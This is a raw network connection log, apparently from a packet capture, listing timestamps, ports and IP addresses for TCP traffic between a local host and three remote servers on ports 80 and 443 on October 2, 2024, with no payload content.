Oct 2, 2024 05:19:54.093810081 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.093844891 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093856096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093890905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.093921900 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.093978882 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.093991041 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094001055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094036102 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094068050 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094187021 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094197989 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094212055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094223976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094238043 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094270945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094415903 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094427109 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094435930 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094446898 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094464064 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094494104 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094599009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094645023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094688892 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094701052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094710112 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094721079 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094731092 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094739914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.094743967 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094782114 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094782114 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.094958067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095005989 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095114946 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095124960 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095134974 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095145941 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095155954 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095165968 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095175028 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095176935 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095189095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095200062 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095204115 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095225096 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095271111 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095587969 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095598936 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095607996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095663071 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095663071 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095741987 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095752001 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095761061 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095771074 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095792055 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095797062 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095803976 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095813990 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095824003 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095824957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095824957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095834970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.095860958 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.095890999 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.096357107 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096371889 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096380949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096390009 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096399069 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096400023 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.096410036 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096421003 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096430063 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096440077 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.096443892 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.096462011 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.096492052 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098645926 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098701954 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098711014 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098721981 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098759890 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098788977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098799944 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098809958 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098858118 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098858118 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098885059 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098893881 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098901987 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098910093 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098918915 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.098953962 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098953962 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.098992109 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099092007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099137068 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099179029 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099188089 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099195957 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099205017 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099227905 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099260092 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099370956 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099380970 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099394083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099405050 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099422932 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099457026 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099457026 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.099503994 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099514961 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:54.099560976 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:54.318089962 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.318141937 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:54.318233013 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.318427086 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.318439960 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:54.970367908 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:54.970460892 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.971004963 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.971013069 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:54.972646952 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:54.972655058 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:55.649717093 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:55.649755955 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:55.649821043 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:55.651925087 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:55.651951075 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:55.936036110 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:55.936094999 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:55.936105013 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:55.936156034 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:55.936319113 CEST	49765	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:19:55.936338902 CEST	443	49765	49.12.197.9	192.168.2.4
Oct 2, 2024 05:19:55.944190025 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:55.949009895 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127294064 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127305984 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127311945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127321959 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127330065 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127444983 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127454996 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127464056 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127474070 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127501011 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127501011 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127501011 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127501011 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127571106 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127578974 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127588034 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127624035 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127659082 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127767086 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127780914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127814054 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127846956 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.127928972 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127938986 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127947092 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127955914 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127964973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127974033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.127995968 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128026009 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128226042 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128237963 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128246069 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128256083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128266096 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128272057 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128276110 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128292084 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128340960 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128402948 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128415108 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128447056 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128478050 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128531933 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128554106 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.128582954 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128612995 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.128688097 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128698111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128705978 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128714085 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128721952 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128737926 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128742933 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128742933 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128748894 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128760099 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128767967 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128794909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128794909 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.128827095 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.128865957 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129158020 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129167080 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129180908 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129189968 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129198074 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129199982 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129234076 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129234076 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129271030 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129283905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129295111 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129332066 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129363060 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129442930 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129453897 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129462004 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129472017 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129481077 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129482985 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129517078 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129517078 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129553080 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129740000 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129750013 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129787922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129787922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129909039 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129919052 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129926920 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129935980 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129944086 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129954100 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129956961 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.129961967 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129971027 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129981041 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129992008 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129997015 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130001068 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.129997015 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130044937 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130044937 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130044937 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130589008 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130599022 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130608082 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130615950 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130625010 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130634069 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130642891 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130642891 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130654097 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130662918 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130697012 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130698919 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130698919 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130708933 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.130740881 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.130770922 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131130934 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131140947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131150007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131159067 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131169081 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131176949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131179094 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131216049 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131216049 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131253958 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131263018 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131272078 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131280899 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131289959 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131290913 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131299973 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131310940 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131310940 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131334066 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131359100 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131392002 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131402016 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131409883 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131419897 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131443977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131443977 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131478071 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131526947 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131536007 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131570101 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131617069 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.131966114 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131975889 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.131984949 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132010937 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132044077 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132098913 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132108927 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132117033 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132127047 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132141113 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132142067 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132173061 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132203102 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132230043 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132244110 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132253885 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132262945 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132271051 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132277012 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132329941 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132329941 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132399082 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132407904 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132416964 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132426023 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132435083 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132443905 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132453918 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132455111 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132455111 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132488012 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132519960 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.132648945 CEST	49766	443	192.168.2.4	104.21.77.132
Oct 2, 2024 05:19:56.132658005 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.132882118 CEST	443	49766	104.21.77.132	192.168.2.4
Oct 2, 2024 05:19:56.132985115 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.132994890 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133033991 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133034945 CEST	49764	80	192.168.2.4	147.45.44.104
Oct 2, 2024 05:19:56.133109093 CEST	80	49764	147.45.44.104	192.168.2.4
Oct 2, 2024 05:19:56.133119106 CEST	80	49764	147.45.44.104	192.168.2.4
